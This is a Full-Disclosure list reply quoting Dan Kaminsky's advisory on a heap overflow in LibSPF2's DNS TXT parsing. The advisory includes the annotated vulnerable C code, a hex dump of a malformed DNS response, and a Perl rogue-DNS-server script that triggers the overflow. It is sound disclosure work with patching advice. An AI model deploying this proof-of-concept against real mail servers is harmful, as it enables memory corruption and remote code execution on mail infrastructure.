have you forwarded this email to nytimes, wall street journal, blackhat eu, jp, and usa, yet? We surely wouldn't want you to miss out on any press.
Dan Kaminsky wrote: > Advisory: DNS TXT Record Parsing Bug in LibSPF2 > Author: Dan Kaminsky, Director of Penetration Testing, IOActive Inc, > [EMAIL PROTECTED] (PGP Key In Appendix) > Abstract: > > A relatively common bug parsing TXT records delivered over DNS, dating > at least back to 2002 in Sendmail 8.2.0 and almost certainly much > earlier, has been found in LibSPF2, a library frequently used to > retrieve SPF (Sender Policy Framework) records and apply policy > according to those records. This implementation flaw allows for > relatively flexible memory corruption, and should thus be treated as a > path to anonymous remote code execution. Of particular note is that the > remote code execution would occur on servers specifically designed to > receive E-Mail from the Internet, and that these systems may in fact be > high volume mail exchangers. This creates privacy implications. It is > also the case that a corrupted email server is a useful “jumping off” > point for attackers to corrupt desktop machines, since attachments can > be corrupted with malware while the containing message stays intact. So > there are internal security implications as well, above and beyond > corruption of the mail server on the DMZ. > > Recommendations: > > If you are a major mail exchange, you should determine whether the SPAM > filters that protect your systems use LibSPF2. > > If you are a vendor of anti-SPAM devices, or the author of an operating > system with components that may use LibSPF2, you should determine > whether LibSPF2 is used in any of your configurations and migrate to > LibSPF 1.2.8, found at: > > http://www.libspf2.org/index.html > > If your product has a dependency on DNS TXT records, we recommend you > test it for the parsing bug that LibSPF2 was vulnerable to, since this > has been a problem for some time. Name server implementations may want > to consider adding filtering themselves, though record validation is not > normally their job. > > Details: DNS TXT records have long been a little tricky to parse, due > to them containing two length fields. First, there is the length field > of the record as a whole. Then, there is a sublength field, from 0 to > 255, that describes the length of a particular character string inside > the larger record. There is nothing that links the two values, and DNS > servers to not themselves enforce sanity checks here. As such, there is > always a risk that when receiving a DNS TXT record, the outer record > length will be the amount allocated, but the inner length will be copied. > > In the past, we’ve seen this particular bug all over the place, > including in Sendmail. This is just the same bug, showing up in LibSPF2 > 1.2.5: > > Spf_dns_resolv.c#SPF_dns_resolv_lookup(): > > case ns_t_txt: > if ( rdlen > 1 ) > { > u_char *src, *dst; > size_t len; > > if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) != > SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt > return spfrr; > > dst = spfrr->rr[cnt]->txt; > len = 0; > src = (u_char *)rdata; > while ( rdlen > 0 ) > { > len = *src; // get a second length from the attacker > controlled datastream -- some value from 0 to 255, unbound to rdlen > src++; > memcpy( dst, src, len ); // copy that second length to > rdlen byte buffer. > dst += len; > src += len; > rdlen -= len + 1; > } > *dst = '\0'; > > For validation purposes, a build of LibSPF2 was instrumented, to > validate the heap overflow: > > $ ./spfquery -ip=1.2.3.4 [EMAIL PROTECTED] > buffer 8107080 has size 16 > buffer 8107090 has size 16 > buffer 81070a0 has size 16 > writing 255 bytes to a 15 size buffer at 81070a0 // overflow > buffer 8123030 has size 234 > writing 233 bytes to a 234 size buffer at 8123030 > buffer 81060c0 has size 20 > buffer 81060e0 has size 20 > buffer 8123120 has size 234 > buffer 8106100 has size 31 > StartError > Context: Failed to query MAIL-FROM > ErrorCode: (2) Could not find a valid SPF record > Error: Invalid character in middle of mechanism near 'À > bar.toorrr' > Error: Failed to compile SPF record for 'bar.toorrr.com' > EndError > (invalid) > > The actual record used to spawn this behavior was as follows: > > ;; HEADER SECTION > ;; id = 63838 > ;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 1 > ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR > ;; qdcount = 1 ancount = 2 nscount = 0 arcount = 0 > > ;; QUESTION SECTION (1 record) > ;; bar.toorrr.com. IN TXT > > ;; ANSWER SECTION (2 records) > bar.toorrr.com. 0 IN TXT "v=spf1 mx +all" > bar.toorrr.com. 0 IN TXT > "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > > ;; AUTHORITY SECTION (0 records) > > ;; ADDITIONAL SECTION (0 records) > > Or, in hex: > > 00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F > 0123456789ABCDEF > > 00000000 F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72 > .^...........bar > 00000010 06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01 > .toorrr.com..... > 00000020 C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73 > .............v=s > 00000030 70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00 pf1 mx > +all..... > 00000040 01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41 > ........AAAAAAAA > 00000050 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000060 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000070 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000080 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000090 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 000000A0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 000000B0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 000000C0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 000000D0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 000000E0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 000000F0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000100 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000110 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000120 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 > AAAAAAAAAAAAAAAA > 00000130 41 A > > The altered length field, on 0x2C, is what’s causing the overflow. > Sample code to reproduce the above is attached at the end of this paper. > > Conclusion: > > There’s nothing particularly special about this bug – we’ve even seen > this in mail servers before. But it is apparently present on some very > high profile and high traffic systems. SPF is a major part of how the > Internet attempts to filter SPAM, and while it’s not perfect, it is > pretty helpful. LibSPF2 is one of the more common libraries out there > for handling SPF traffic, with billions of messages a day being > protected by it. > > Unfortunately, that also means billions of messages a day are at risk – > the nature of this flaw is such that an attacker can force arbitrary (or > at least ASCII encoded, though no nameservers have been found that > enforce ASCII) bytes to be copied into a buffer too small to contain > them. This is a straightforward anonymous remote code execution find, > made interesting specifically by where the bug happens to be. > > > Appendix: Simple code to reproduce heap overflow. > > > # cat spfattack.pl > #!/usr/bin/perl > # > > use Net::DNS; > use IO::Socket::INET; > use Data::HexDump; > > > my $qclass = "IN"; > my $ttl = 10; > > while (1){ > my $sock = IO::Socket::INET->new( > LocalPort => '53', > Proto => 'udp'); > $sock->recv($newmsg, 2048); > my $req = Net::DNS::Packet->new(\$newmsg); > $req->print; > my $id = $req->header->id(); > my @q = $req->question; > my $qname = $q[0]->qname; > my $qtype = $q[0]->qtype; > if($qtype eq "PTR") { next; } > $answer = Net::DNS::Packet->new($qname, $qtype); > if($qtype eq "TXT"){ > $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype > 'v=spf1 mx +all'")); > $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype > 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'")); > } > if($qtype eq "MX"){} > > $answer->header->id($id); > $answer->header->aa(1); > $answer->header->qr(1); > $answer->print; > my $port = $sock->peerport; > my $peer = inet_ntoa($sock->peeraddr); > > $sock->shutdown(2); > $sock = ""; > > my $tempsock = IO::Socket::INET->new( > LocalPort=>'53', > PeerAddr=>"$peer", > PeerPort=>$port, > Proto=>'udp'); > > > my $newans; > > $newans = $answer->data; > if($qtype eq "TXT"){ > substr($newans, 44, 1, pack("c",0xff)); > print HexDump $newans; > } > $tempsock->send($newans); > > > #my $packet = Net::DNS::Packet->new(\$newmsg); > } > > PGP Key for [EMAIL PROTECTED]: > > -----BEGIN PGP PUBLIC KEY BLOCK----- > Version: GnuPG v1.4.5 (MingW32) > > mQGiBET4quERBAChQCcg/KoKkwNDpVoCfKpIFc6d86Xs+9e5yHeFg6bK8ElRUPFp > CEgjCSu9+LB3xEJFZhw807BbXaytNqa/H6oSvuqThI053dLIjy7zl0o0yNyT6ZTQ > KvSStycDurEthqXH0grxDVerpDiTz/B9uo3pu9HmV4SDGwpnp3klsg96zwCg+tZa > JFZ0NeaUYBLQvRJgDBGSonUD/2GwXY+KOc7oKP/lvrdXgkSSuS4+aC9Ce0UGuX/f > //d2pK7Z/PKPCCipMYTIk8/fIDEd8uZ8ZNdtQTe5BCtwJYJAfeP/JHIAmBlq2jvL > k83GzaaGPvt4fyTR8uvX0t5g4AhHYL1LdyuCyTndQecewKArKVyHGYbLmPaf1fh3 > dNGAA/0Qu6BrRf65h0jzk5P9b49kJ/+xliOCq4u8oFbVJPM3QAsAc1W8D2a+rxjc > VFgheTqf56XQk4wD9mE1r19PntwVH7FuOu71mwk6Mboz/7IGBQsh9B+pDkFPfJD8 > y2Qcueudnl7Tt8ijbQF2EBUeu1LPfWATj9b7NfMyG4ZhOzAtzrQoRGFuIEthbWlu > c2t5IDxEYW4uS2FtaW5za3lAaW9hY3RpdmUuY29tPohgBBMRAgAgBQJE+KrhAhsj > BgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQX74rnUOpgcD/7gCdEUsXwl+8QdGt > tuXk/cKiayQ+ZeIAn3CaH6tN3DhJHQLkPBpLVEW7sKgCiEYEEBECAAYFAkfn9EoA > CgkQ00k+8NKXq47fXgCff7GLg5KiT3VzjYRZ08vRfItoqE0An2C97W+GW9b61/Oa > mP1wh492B2kAuQINBET4qwwQCACx6XPvnq5Uhb0howb4AfugArGBzdaejE7DZ4PC > L+T9oYiW5ZJsSiB5q0X6AkoUCLHbCc1s1zbyuwFsjVSgkYTXX+zU1rJ8mI+HxDch > NYQy5x8t1vpCeIDBzo4ylHpgpTKoINGhlc4KJv+ixZAbEB+OcTThN3mBgbF1oVdk > aw8qrYcEl4LjL00qjMmpT5BIo7r/O7HrShRGQBm4gKBG7ufjWqZ8u/+nbty2vwAo > eJ+v3Apduv9CRaDcouenmIHlx6AC321vhsyLRQrZ0lNKXC2DkYWel3+UTWIQfyws > zj57Xi8XNHcjcBWd5SOpuBJQ5ZHn68H3ACpGZ86/+LqlQNlPAAMFB/0eOZYgz8LN > DkgsFQR0Hg4htWWPXAg8QPJs+wXrcP1hLL3z3ljUPPKHUDD+pAh7AR8MH2iGsD0J > f1ArP7vZiXJCZzPOTwtOZZccpnapckpJA57cy7aEX5y3VESrYCgbtL7pS9ZQZP9Q > DKsBJ6WqBcxjHljRwlfVnHu+H/ogJEN2EngM04D4ePck8eeCZfYftM2mlpfDAeiD > UtSfS+I2Vdg7//g4XDV/PCfA8s9U5oQ2Q+S/8di44c1iIX7w2rhYEHh+u3hqOQeD > eHj7expH6gfgYE77uBnY6342j4PJdF3fDgndoQ31lPORbgafUy11VzNQJ1V8rft0 > gXkz+UhvgewBiEkEGBECAAkFAkT4qwwCGwwACgkQX74rnUOpgcD4IwCfWvJwxRu6 > 5auog7Ke5X1f1z1Od3kAnRUI5tjRjUR3i3MI5g9V1L0ZbCVn > =N3MT > -----END PGP PUBLIC KEY BLOCK----- > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
